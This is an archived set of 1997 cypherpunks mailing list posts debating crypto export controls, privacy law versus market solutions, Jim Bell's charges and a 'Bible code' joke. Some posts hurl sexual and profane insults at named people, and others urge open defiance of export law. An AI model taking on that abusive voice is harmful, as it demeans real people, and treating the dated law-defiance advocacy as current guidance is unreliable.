In <199705311800.TAA00253@server.test.net>, on 05/31/97 
   at 07:00 PM, Adam Back <aba@dcs.ex.ac.uk> said:


>William Geiger <whgiii@amaranth.com> writes:
>> Adam Back <aba@dcs.ex.ac.uk> writes
>> > [export via printing out on paper, and scanning via automated for pay
>> >  email gateway]
>> 
>> Why bother with all of this. If you want to export crypto then just do it.
>> As long as we keep up with this mickymouse approach to exports trying to
>> appease the FEDs who are acting unconstitutionaly on this matter things
>> will never change. Put up a web page or a ftp site with the crypto
>> binaries and let whomever wishes to download them download them.

>Do you have a copy of PGP5.0 on there?  I wouldn't mind looking at that.

No I have limmited space on that ISP so I only have OS/2 software there:
E-Secure, PGP 2.6.2 & 2.6.3 OS/2 binaries, PGP 2.6.2 & 2.6.3 source code,
and RSAREF 1.0 source code. If I ever get it finished I should have SSL &
Mixmaster OS/2 binaries & source available also.

>> I have done this and I will continue to do this dispite what the goons in
>> DC have to say about it.
>> 
>> We must all hang together or we will all hang.

>If you export it, and make a big deal of it advertising your web page as
>widely as you can, and talk to newspapers about how you're purposefully
>violating the export law, I'd predict you'd get a visit from the Feds in
>a few days.  As long as you're low key, you're just one of the hundreds
>getting away with it, and not worth the effort to stop.

Well I have posted the info to approx. 20 different newsgroups, plus
numerous mailing list & fido echos. Haven't called any newspapers but I
rank then right below lawers & politions so I am in no hurry to talk to
them anyway.

As far as the FEDs I allway liked the sound of Geiger vs The United States
of America. I doubt that they could really do more than harrasment
considering that they will allow fortune 500 to export PGP but not the
little guy??

>I think the key is to make fun of them, so that they loose
>credibility.  They don't like being laughed at.

>So Sun Microsystems did a real good job by getting stuff produced in
>Russia.  Russia of all places, given the average US persons jingoistic
>antagonism towards the "Commies".  Excellent.

>So my proposal is aimed at being another stunt.  It might be news-worthy
>(ie get reported on enough that it get discussed, and to make the US
>government look exceedingly stupid).

>And it's perfectly legal, so you can't be stopped.

>If PGP Inc wants to mail out the latest version of PGP, they are welcome
>to.

>I mean come on, next thing, the providor of this service will be offering
>web space too, so that US firms can link to their own binaries which they
>exported themselves 100% legally.

>Now all they need is some reseller agreements, or overseas sales offices
>to export worldwide unrestricted, dumb laws or not.

>It has been speculated that this change to the regulations might have
>been due to Phil Karn's ploy of asking to export the source code disks of
>the examples in Applied Crypto.  I think that is a cool
>speculation.

>Now we all know all the freeware and shareware crypto gets everywhere
>anyway.  But no US companies are not exporting high grade crypto
>generally, and US companies produce the lions share of application and OS
>software.

Well I would like to see the "big" computer
(IBM,Microsoft,NetScape,Sun,DEC,...) companies tell the FEDs where to go
and just export their software/hardware. What could the FEDs do? Shut down
the entire computer industry?

The whole power structure of the FEDs is built on fear & intimidation.
Solong as we deside to play it "safe" and just go along this will never
change. Whenever I think of ways of dealing with this problem I am
reminded of how Gandi handled the British in India. Non-violent civil
disobediance. The world governments are too dependant on the computer
industry for its survival. If the CEOs would just have some balls and
stand up to them this whole issue would have been dead before it ever got
started.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=dKVi
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sun, 1 Jun 1997 02:40:31 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531090958.6950A-100000@well.com>
Message-ID: <Pine.SOL.3.96.970531131733.3114A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


To be more clear, I should have mentioned in my last missive
that I'm thinking of a "liberty" right (to protect transactional
confidentiality) as opposed to a "privacy" or, to some extent,
"property" right.
MacN

On Sat, 31 May 1997, Declan McCullagh wrote:

> I'm now more awake than I was before, and a little less
> flippant, so let me try to respond to Marc's statement
> saying my summary of his "views on privacy below are
> just silly."
> 
> The initial question has to be not how you protect rights,
> but how you define them. For example, we have a right
> to speak freely; there should be strict limits on
> government controls on free expression or the press.
> The state has unique powers of coercion. Similarly,
> there should be strict limits on government collection
> of personal data about its citizens.
> 
> But transactional privacy is a different matter. Sure,
> we may generally agree that privacy is the famous
> "right to be left alone," but how does that extend to
> what happens when I make an affirmative choice to
> connect to a web site that might record some info
> about my visit -- as an alternative to charging me?
> Nobody's forcing me to visit that site. That's why
> I'm starting to come around to the idea that privacy
> is not a universal right but a preference. We need a
> market in privacy, not inflexible FTC rulemaking.
> 
> Oh, and the much-touted European Privacy Directive has
> made it near-impossible to exchange employee
> information between branches of the same firm that are
> physically in different countries. Bad move,
> Eurocrats.
> 
> -Declan
> 
> 
> 
> On Sat, 31 May 1997, Marc Rotenberg wrote:
> 
> > People who are interested in why I am pro-individual freedom
> > but not anti-government should take a look a my piece in Wired
> > "Eurocrats Do Good Privacy." [4.05]
> > 
> > I spent a year working for a good crypto policy at the OECD.
> > During that time I watched European government officials
> > argue for constitutional freedoms and against key escrow,
> > while business representatives quietly backed the US
> > GAK plan. Welcome to the real world.
> > 
> > Marc.
> > 
> > Btw - Declan's summary of our views on privacy below are
> > just silly. Many of the greatest defenders of First Amendment
> > freedoms have also felt most strongly about the right of
> > privacy. The question is always how you protect rights.
> > Perhaps libertarians would do away with all laws that protect
> > personal freedoms. Bad call.
> > 
> > 
> >  At 3:21 AM -0400 5/31/97, Declan McCullagh wrote:
> > >Unfortunately, Tim is letting a rant get in the way of reality. A shame,
> > >really, for he's capable of better. Let me respond. I may not be very
> > >cordial. We lost tonight's soccer game (goddamn wimpy libertarians) and
> > >went to some cheezy Crystal City sports bar afterwards. I just got back
> > >home, and it's 3:20 am...
> > >
> > >Anyway, Rotenberg and EPIC are not the Uber Enemy. Rather, they disagree
> > >with cypherpunk and libertarian positions on some issues. So we have
> > >issue-by-issue alliances with them. Let's break it down:
> > >
> > >------------------------------
> > >CRYPTO: EPIC takes a purist civil liberties approach to crypto. They've
> > >been the ones criticizing the SAFE "crypto in crime" provisions. Did the
> > >latest VTW alert sent out today even mention that portion of the bill, let
> > >alone criticize it?
> > >
> > >ANONYMITY: No other group in DC is such a staunch supporter of online
> > >anonymity publicly, though look for something from Cato soon. In fact, I
> > >linked to EPIC's copy of the McIntyre decision for my Friday Netly piece.
> > >Many business groups don't like anonymity online -- hurts the marketeers.
> > >
> > >FREE SPEECH: EPIC is co-counsel in ACLU lawsuit against CDA. I believe
> > >they've said some of the anti-spam legislation is unconstitutional.
> > >
> > >FOIA: David Sobel does fabulous work snagging government documents the
> > >spooks don't want released.
> > >
> > >PRIVACY: EPIC wants more Federal involvement to protect privacy and a
> > >Federal Privacy Commission (or something similar). Lots of laws,
> > >bureaucracies. Though EPIC does realize there's a First Amendment; other
> > >privacy groups are even more aggressive. EPIC is of course on the side of
> > >libertarians when it comes to government violations of privacy.
> > >------------------------------
> > >
> > >From a libertarian perspective, EPIC is good on everything but privacy. On
> > >that they want Big Government solutions.
> > >
> > >But that doesn't mean we reject and condemn what they do on other issues.
> > >Do we reject Eagle Forum's anti-Clipper endorsement because they're a
> > >bunch of ultraconservative wackos? Do we reject the National Organization
> > >for Women's position on the CDA as bad because they're a bunch of
> > >ultraliberal wackos? How about the National Association of Broadcaster's
> > >amicus brief against the CDA? The Christian Coalition rejecting a national
> > >ID cards and numbers? Ralph Nader wanting open access to government
> > >databases?
> > >
> > >No. We don't. Instead, we address this issue by issue. EPIC and Rotenberg
> > >are not always, but are often, our allies.
> > >
> > >-Declan
> > >
> > >
> > >On Fri, 30 May 1997, Tim May wrote:
> > >
> > >>
> > >> I suppose I am developing a reputation amongst the Inside the Beltway Cyber
> > >> Rights Groups (tm) as a pain in the ass, but nearly everytime I see one of
> > >> their chief spokeswonks giving a policy statement I realize they are "not
> > >> on my side."
> > >>
> > >> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
> > >> anti-spam legislation, saying that what the legislators in Congress really
> > >> need to look into is how the spammers develop their data bases.....
> > >>
> > >> Incredible. Does he propose investigations of private data gathering?
> > >> Perhaps search warrants served on those who take public postings and
> > >> construct data bases?
> > >>
> > >> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
> > >> realize the "spammers" are merely  taking publicly available (= legally
> > >> available, as 99.99% of all such information is) information and using
> > >> legal channels to contact me. I may not "like" it, but their behavior is as
> > >> legal as someone calling me on the phone.
> > >>
> > >> (And ny nearly any measure of hassle factor, dashing to get to the phone
> > >> only to find it's a salesman selling something I don't want is worse than
> > >> any 20 unwanted e-mail messages.)
> > >>
> > >> So, Marc Rotenberg wants Congress to "look into" (= interfere with)
> > >> compilation and use of public information.
> > >>
> > >> These people are NOT our allies.
> > >>
> > >> --Tim May
> > >>
> > >> There's something wrong when I'm a felon under an increasing number of laws.
> > >> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> > >> ---------:---------:---------:---------:---------:---------:---------:----
> > >> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> > >> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> > >> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> > >> Higher Power: 2^1398269     | black markets, collapse of governments.
> > >> "National borders aren't even speed bumps on the information superhighway."
> > >>
> > >>
> > >>
> > >>
> > >>
> > 
> > 
> > 
> > ==================================================================
> > Marc Rotenberg, director                *   +1 202 544 9240 (tel)
> > Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
> > 666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
> > Washington, DC 20003   USA              +   http://www.epic.org
> > ==================================================================
> > 
> > 
> > 
> > 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris DiBona <chrisd@loc201.tandem.com>
Date: Sun, 1 Jun 1997 05:01:30 +0800
To: "cypherpunks@toad.com>
Subject: RE: The Bible Code
Message-ID: <01BC6DC8.92A51370@chrisd@loc201.tandem.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello again...

I see this sort of thing as being like when people see jesus in a bar of 
saop and charge a buck to the suckers who come to see it. Okay... here's 
the EMAIL code. I you read the following message:

On Saturday, May 31, 1997 12:10 PM, Dr.Dimitri Vulis KOTM 
[SMTP:dlv@bwalk.dm.com] wrote:
> lucifer@dhp.com (lucifer Anonymous Remailer) writes:
> > I will shortly be releasing my new book, "The ASCII Code" which
> > outlines the predictions made based on decrypting the hidden
> > messages in the ASCII artwork sent to the cypherpunks list.
> >
> > Since none of the predictions have proven accurate, my book
> > speculates that perhaps Tim May isn't a cocksucker, after all.
>
> But John Gilmore is surely a cocksucker.
>
> I've met Rips, who's supposedly behind this "bible code" nonsense.
> He's an asshole, and I dismiss anything he says as total bullshit.
>
> ---
>
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 
14.4Kbps
>

and put it though a filter using the "bible code" method.. you get :

stupid dorks will buy this book.


>From characters :

3,5,6,.... you get the point.

Suckers.

   Chris DiBona





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 1 Jun 1997 02:33:37 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <y0uk8D53w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970531140858.21537A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 31 May 1997, Dr.Dimitri Vulis KOTM wrote:

> Of course, the "anti-spamming" laws will also be used to suppress the
> "politically incorrect" speech.  Recall that Jim Bell has already been
> accused of "spamming", in addition to other crimes.

Uh, no. Bell was charged with violating:

26 U.S.C. Section 7212(a)
42 U.S.C. Section 408(a)

Which are, generally, attempts to interfere with administration of
internal revenue laws and fraudulent use of a false SSN.

Besides, spamming isn't a criminal offense, last time I checked.

In the interests of completeness, I should note that I just finished a
rather long article about Bell's arrest and related events for Internet
Underground magazine. The government hinted that they might have
additional charges to file against Bell by the time the grand jury
convenes in probably two weeks. He is currently being held without bail, a
situation more common in Federal than state courts.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 1 Jun 1997 03:58:48 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb61ffec219@[207.172.96.178]>
Message-ID: <199705311944.OAA23276@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03007801afb61ffec219@[207.172.96.178]>, on 05/31/97 
   at 03:02 PM, Marc Rotenberg <rotenberg@epic.org> said:

>For the hardcore free market types, take a look
>at Posner's *Economics of Justice.* There are
>good economic reasons for privacy laws, e.g.
>do you really want to negotiate with the telcos
>on a case-by-case basis whether they can sell
>the contents of your phonecalls?

<sigh> It's really a shame when Socialist/Statest try to use the "free
market" to justify big government.

Your example is *not* how the free market would address the issue. If the
Telco's tried to sell the contents of indivdule's phone calls there would
be an increased demand for encrypted phones. This demand would then be met
by the electroins/communication industry (granted there would be some lag
time between the initial selling of phone contents and the first
crypto-phones getting to market but hey nothings perfect).

Now if we had a truely free market in the Telco Industry the consumer
would have the choice between several telco compaines to deal with. If one
decided to start selling recordings of its customers phone conversations
it's customers would leave in droves to its competition.

This is just simple economics 101. You can't have a free society in a
socialist, federally regulated economy.


More government agencies, rules & regulations are *NEVER* a solution.

It's an intresting side note that the reason why the Cell Phones in this
country do not use strong crypto is because of the intervention of the FCC
and associated Federal LEA's.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Sun, 1 Jun 1997 03:13:59 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007800afb5dc075d18@[207.172.33.39]>
Message-ID: <v03007801afb61ffec219@[207.172.96.178]>
MIME-Version: 1.0
Content-Type: text/plain



Back to Tim's original point, I wonder if he knows
that the P-TRAK data that Lexis/Nexis said was
"public information" was actually taken from
credit reports collected and sold by TransUnion.
TU was able to sell the data because of a loophole
in the Fair Credit Reporting Act. Sure, you post
to the net that's public, but a lot of data collection
is much more sleazy.

I'd also appreciate some comment/criticism on
the piece I did for Wired. My point was that
in countries where there are legal rights to
privacy it will be easier for technologies of privacy
to flourish. I gave as examples the fact that PRZ
was nearly indicted in the US while David Chaum
was being applauded by the European Commission
for building anonymous payment schemes. The OECD
crypto policy drafting experience confirmed my
suspicion.

Let me also try to explain how the simple-minded
First Amendment-privacy rights trade-off often
misses the point about privacy claims.  Consider
the article about Judge Bork's video viewing
habits back in 1987. Should Congress/the Courts
prevent City Paper from publishing the article?
Of course not. Could Congress/the Courts require
video record stores not to disclose customer
records without explict consent? You decide.

For the hardcore free market types, take a look
at Posner's *Economics of Justice.* There are
good economic reasons for privacy laws, e.g.
do you really want to negotiate with the telcos
on a case-by-case basis whether they can sell
the contents of your phonecalls?

To be clear, I do believe that there should be
laws to protect the right of privacy and that
there should be an office within the federal
government to advocate on behalf of privacy
interests. I also believe that if such an agency
had been established in 1991 when it was proposed,
it would have been much harder for the government
to push subsequently for digital telephony, Clipper,
GAK, etc.

Marc.




At 12:12 PM -0400 5/31/97, Declan McCullagh wrote:
>I'm now more awake than I was before, and a little less
>flippant, so let me try to respond to Marc's statement
>saying my summary of his "views on privacy below are
>just silly."
>
>The initial question has to be not how you protect rights,
>but how you define them. For example, we have a right
>to speak freely; there should be strict limits on
>government controls on free expression or the press.
>The state has unique powers of coercion. Similarly,
>there should be strict limits on government collection
>of personal data about its citizens.
>
>But transactional privacy is a different matter. Sure,
>we may generally agree that privacy is the famous
>"right to be left alone," but how does that extend to
>what happens when I make an affirmative choice to
>connect to a web site that might record some info
>about my visit -- as an alternative to charging me?
>Nobody's forcing me to visit that site. That's why
>I'm starting to come around to the idea that privacy
>is not a universal right but a preference. We need a
>market in privacy, not inflexible FTC rulemaking.
>
>Oh, and the much-touted European Privacy Directive has
>made it near-impossible to exchange employee
>information between branches of the same firm that are
>physically in different countries. Bad move,
>Eurocrats.
>
>-Declan
>
>
>
>On Sat, 31 May 1997, Marc Rotenberg wrote:
>
>> People who are interested in why I am pro-individual freedom
>> but not anti-government should take a look a my piece in Wired
>> "Eurocrats Do Good Privacy." [4.05]
>>
>> I spent a year working for a good crypto policy at the OECD.
>> During that time I watched European government officials
>> argue for constitutional freedoms and against key escrow,
>> while business representatives quietly backed the US
>> GAK plan. Welcome to the real world.
>>
>> Marc.
>>
>> Btw - Declan's summary of our views on privacy below are
>> just silly. Many of the greatest defenders of First Amendment
>> freedoms have also felt most strongly about the right of
>> privacy. The question is always how you protect rights.
>> Perhaps libertarians would do away with all laws that protect
>> personal freedoms. Bad call.
>>
>>
>>  At 3:21 AM -0400 5/31/97, Declan McCullagh wrote:
>> >Unfortunately, Tim is letting a rant get in the way of reality. A shame,
>> >really, for he's capable of better. Let me respond. I may not be very
>> >cordial. We lost tonight's soccer game (goddamn wimpy libertarians) and
>> >went to some cheezy Crystal City sports bar afterwards. I just got back
>> >home, and it's 3:20 am...
>> >
>> >Anyway, Rotenberg and EPIC are not the Uber Enemy. Rather, they disagree
>> >with cypherpunk and libertarian positions on some issues. So we have
>> >issue-by-issue alliances with them. Let's break it down:
>> >
>> >------------------------------
>> >CRYPTO: EPIC takes a purist civil liberties approach to crypto. They've
>> >been the ones criticizing the SAFE "crypto in crime" provisions. Did the
>> >latest VTW alert sent out today even mention that portion of the bill, let
>> >alone criticize it?
>> >
>> >ANONYMITY: No other group in DC is such a staunch supporter of online
>> >anonymity publicly, though look for something from Cato soon. In fact, I
>> >linked to EPIC's copy of the McIntyre decision for my Friday Netly piece.
>> >Many business groups don't like anonymity online -- hurts the marketeers.
>> >
>> >FREE SPEECH: EPIC is co-counsel in ACLU lawsuit against CDA. I believe
>> >they've said some of the anti-spam legislation is unconstitutional.
>> >
>> >FOIA: David Sobel does fabulous work snagging government documents the
>> >spooks don't want released.
>> >
>> >PRIVACY: EPIC wants more Federal involvement to protect privacy and a
>> >Federal Privacy Commission (or something similar). Lots of laws,
>> >bureaucracies. Though EPIC does realize there's a First Amendment; other
>> >privacy groups are even more aggressive. EPIC is of course on the side of
>> >libertarians when it comes to government violations of privacy.
>> >------------------------------
>> >
>> >From a libertarian perspective, EPIC is good on everything but privacy. On
>> >that they want Big Government solutions.
>> >
>> >But that doesn't mean we reject and condemn what they do on other issues.
>> >Do we reject Eagle Forum's anti-Clipper endorsement because they're a
>> >bunch of ultraconservative wackos? Do we reject the National Organization
>> >for Women's position on the CDA as bad because they're a bunch of
>> >ultraliberal wackos? How about the National Association of Broadcaster's
>> >amicus brief against the CDA? The Christian Coalition rejecting a national
>> >ID cards and numbers? Ralph Nader wanting open access to government
>> >databases?
>> >
>> >No. We don't. Instead, we address this issue by issue. EPIC and Rotenberg
>> >are not always, but are often, our allies.
>> >
>> >-Declan
>> >
>> >
>> >On Fri, 30 May 1997, Tim May wrote:
>> >
>> >>
>> >> I suppose I am developing a reputation amongst the Inside the Beltway
>>Cyber
>> >> Rights Groups (tm) as a pain in the ass, but nearly everytime I see
>>one of
>> >> their chief spokeswonks giving a policy statement I realize they are "not
>> >> on my side."
>> >>
>> >> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
>> >> anti-spam legislation, saying that what the legislators in Congress
>>really
>> >> need to look into is how the spammers develop their data bases.....
>> >>
>> >> Incredible. Does he propose investigations of private data gathering?
>> >> Perhaps search warrants served on those who take public postings and
>> >> construct data bases?
>> >>
>> >> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
>> >> realize the "spammers" are merely  taking publicly available (= legally
>> >> available, as 99.99% of all such information is) information and using
>> >> legal channels to contact me. I may not "like" it, but their behavior
>>is as
>> >> legal as someone calling me on the phone.
>> >>
>> >> (And ny nearly any measure of hassle factor, dashing to get to the phone
>> >> only to find it's a salesman selling something I don't want is worse than
>> >> any 20 unwanted e-mail messages.)
>> >>
>> >> So, Marc Rotenberg wants Congress to "look into" (= interfere with)
>> >> compilation and use of public information.
>> >>
>> >> These people are NOT our allies.
>> >>
>> >> --Tim May
>> >>
>> >> There's something wrong when I'm a felon under an increasing number
>>of laws.
>> >> Only one response to the key grabbers is warranted: "Death to Tyrants!"
>> >>
>>---------:---------:---------:---------:---------:---------:---------:----
>> >> Timothy C. May              | Crypto Anarchy: encryption, digital money,
>> >> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms,
>>zero
>> >> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
>>markets,
>> >> Higher Power: 2^1398269     | black markets, collapse of governments.
>> >> "National borders aren't even speed bumps on the information
>>superhighway."
>> >>
>> >>
>> >>
>> >>
>> >>
>>
>>
>>
>> ==================================================================
>> Marc Rotenberg, director                *   +1 202 544 9240 (tel)
>> Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
>> 666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
>> Washington, DC 20003   USA              +   http://www.epic.org
>> ==================================================================
>>
>>
>>
>>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sun, 1 Jun 1997 04:21:50 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb61ffec219@[207.172.96.178]>
Message-ID: <Pine.SOL.3.96.970531150013.3535A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 31 May 1997, Marc Rotenberg wrote:

> Let me also try to explain how the simple-minded
> First Amendment-privacy rights trade-off often
> misses the point about privacy claims.  Consider
> the article about Judge Bork's video viewing
> habits back in 1987. Should Congress/the Courts
> prevent City Paper from publishing the article?
> Of course not. Could Congress/the Courts require
> video record stores not to disclose customer
> records without explict consent? You decide.

Well, this may merely point up the fact that next to
government--or perhaps more than gov't--the greatest
threat to privacy is the existence of a free press.
That trade-off may be simple, but "simple-minded" seems
a little strongly put.

As for Posner, who's often good for a laugh, particularly 
when taken out of context, his point so often reduces to
a simple one itself: Which is easier (cheaper, more efficient,
etc.), law or the market?  Given that perfection in markets,
as in golf and most other things, is unattainable, sometimes
we shall have to resort to law, as in the "negotiating with the
telephone company" example.  But I think these are exceptions
to Tim's points, not necessarily invaliations of them.
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 03:33:47 +0800
To: cypherpunks@toad.com
Subject: Re: The Bible Code
In-Reply-To: <199705311659.MAA27760@dhp.com>
Message-ID: <HR2k8D55w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


lucifer@dhp.com (lucifer Anonymous Remailer) writes:
> I will shortly be releasing my new book, "The ASCII Code" which
> outlines the predictions made based on decrypting the hidden
> messages in the ASCII artwork sent to the cypherpunks list.
>
> Since none of the predictions have proven accurate, my book
> speculates that perhaps Tim May isn't a cocksucker, after all.

But John Gilmore is surely a cocksucker.

I've met Rips, who's supposedly behind this "bible code" nonsense.
He's an asshole, and I dismiss anything he says as total bullshit.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 1 Jun 1997 03:45:51 +0800
To: cypherpunks@toad.com
Subject: Seismic Data Authenticator
Message-ID: <1.5.4.32.19970531192953.006e1870@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Payne has provided his 1992 Sandia report:

   "Data Authenticator for the Deployable Seismic 
   Verification System"

Marked "For Official Use Only."

The 185-page paper describes in fine detail the
design, data security and fabrication (with photos and 
technical drawings) of the third generation authentification
device for verfiying seismic data in connection with the 
nuclear weapons control-START treaties with the USSR.

The paper also cites deficient cryptographic algorithms 
provided by NSA for the device.

   http://jya.com/da/whpda.htm   (98K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 1 Jun 1997 06:46:34 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb61ffec219@[207.172.96.178]>
Message-ID: <3.0.2.32.19970531153135.0076a2e4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>At 12:02 PM -0700 5/31/97, Marc Rotenberg wrote:
>>To be clear, I do believe that there should be
>>laws to protect the right of privacy and that
>>there should be an office within the federal
>>government to advocate on behalf of privacy
>>interests. I also believe that if such an agency
>>had been established in 1991 when it was proposed,
>>it would have been much harder for the government
>>to push subsequently for digital telephony, Clipper,
>>GAK, etc.

I am somewhat surprised that you would make this claim, given that you must
have researched the situation in Europe for your article.

European style Privacy Commissioners solely limit the ability of _private_
entities to keep databases. They do not limit the ability of public
entities to keep databases. Sure, when a European government wants to bring
a new Big Brother database online, the Privacy Commissioner has to sign off
on the plan. This is typically a rubber stamp approval. Even worse, the
Privacy Commissioner rubber stamping the plan usually ends discussion,
since the government now can claim that their database is harmless because
the Privacy Commissioner has approved it.

German "dragnet investigations" and "pattern investigations" come to mind.
The German BKA (the equivalent of the FBI) keeps a giant database that
correlates "suspicious" behavior. Paying your utilities bills in cash
(unusual in GIRO-happy Germany) gets you points. If the person on the bill
isn't registered with the police at the address on the bill you get more
points. Paying your rent in cash gets you points. If they don't have a
social security record for you, more points yet. There are many other
criteria that will get you points.

If you collect enough points, the feds come by to interrogate you. Yes, the
Privacy Commissioner approved this "pattern investigation". In the interest
of space, I will spare the list what "dragnet investigation" entails.

It appears naive to claim that GAK could not happen under a Privacy
Commissioner. It could and it will.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 1 Jun 1997 06:42:05 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: legal EAR work-around/Paper based remailers
In-Reply-To: <199705311334.IAA18924@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970531153330.00768e3c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:00 PM 5/31/97 +0100, Adam Back wrote:
>Do you have a copy of PGP5.0 on there?  I wouldn't mind looking at
>that.

PGP 5.0 can be obtained from the usual sources.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 1 Jun 1997 06:49:11 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102805afb627d83acf@[207.167.93.63]>
Message-ID: <v03102806afb650b3d40d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:33 PM -0700 5/31/97, Marc Rotenberg wrote:


>It's an interesting argument. I don't agree, though
>you can certaintly try it. But more to the point of

Oh, I don't intend to "try it." The Supreme Court is far past ever
restoring basic constitutional rights. Instead of "trying it," better to
monkeywrench it.

>your original post, is the information that TransUnion
>sold to Lexis/Nexis for P-TRAK "public information"?
>If yes, what is private information?

It all depends on what was agreed to, tacitly or explicitly, in the process
of applying for and accepting a credit card. I seem to recall "agreeing to"
multiple pages of fine print about how and to whom information could be
disclosed. That most of us ignore such fine print is our problem....I don't
think there's been any allegation, even by you, Marc, that what Equifax is
doing with credit information is breaking either the contract or any
existing laws. You just want a new set of laws to do what contracts are
perfectly capable of doing. Those who want protection of information
disclosed to others should, of course, make such arrangements.

(And such arrangements are made all the time. Examples abound.)

That such arrangements for a "privacy card" are not easy to make is not an
issue for the law to meddle with. In fact, many of us think there's a
market for just such a "privacy card," and, absent meddling by government,
expect such a card to appear



>I agree that there are real threats to cyber freedom in Europe.
>I'm not saying otherwise. But my point is that anonymous remailers
>and the like will have a better future in countries that recognize
>a right of anonymity as opposed to those that don't.

Despite my dislike of most of what passes for the American system, I'll
take the protections of the First, augmented with the 1956 "anonymous
leafletting" Supreme case, over the "ad hoc" protections nearly all
Europeans have (or don't have).



>The question is what are you going to do with companies
>that won't let you buy a product unless you provide
>your True Name?

The answer to this is both simple and profound. You have heard the answer
many times, but you probably dismiss it as just libertarian rhetoric.

In any mutually uncoerced transaction, say between Alice and Bob, whether
Alice and Bob are individuals, groups, corporations, or whatever, each may
"ask for" various things. You can imagine some things to be asked for.

Either is free to decline the terms of the other and call off the transaction.

(I'm not a lawyer, but I believe this is covered in Contracts. Not meaning
to be snide, but it's essential that people realize _contracts_ are what we
are talking about here.)

So, were a company to refuse to sell me a product unless I provided my True
Name, I would decide just how important this issue is to me.  If it were of
compelling interest to me, I would walk away from the transaction.

